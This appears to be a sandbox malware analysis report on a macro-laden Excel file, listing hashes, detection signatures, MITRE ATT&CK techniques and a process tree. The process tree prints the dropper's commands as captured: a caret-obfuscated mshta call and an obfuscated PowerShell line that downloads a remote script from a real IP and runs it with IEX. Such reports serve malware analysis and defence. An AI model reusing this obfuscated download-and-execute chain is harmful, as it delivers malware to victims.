bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2

General

Target

707712.xlsm
Size

115KB
MD5

f4d25cf8a129a7d5f017c7ff90e768fd
SHA1

5e5faa43a14365d234bd071f1ae2b9fcd3511ec0
SHA256

bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2
SHA512

51ed9a545b67f3296a06d0f1ed570a7caed45a9fa3adf20fad21bf8a40b576015d656f3cf7c117d354ece81006bcb268ca76ed04e30543e5e5237151234d8ea1

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3384	3968	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	2232	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
444	2232	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3968	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE
3968	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 2604	3968	EXCEL.EXE	58
PID 3968 wrote to memory of 2604	3968	EXCEL.EXE	58
PID 3968 wrote to memory of 3384	3968	EXCEL.EXE	60
PID 3968 wrote to memory of 3384	3968	EXCEL.EXE	60
PID 3384 wrote to memory of 2232	3384	cmd.exe	62
PID 3384 wrote to memory of 2232	3384	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\707712.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2604
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    PID:2232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1260
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2232 -s 1724
      4⤵
      Program crash
      PID:444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3976

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 2232 -ip 2232
1⤵
PID:1996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3968-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3968-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3968-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3968-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3968-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3968-137-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download
memory/3968-138-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads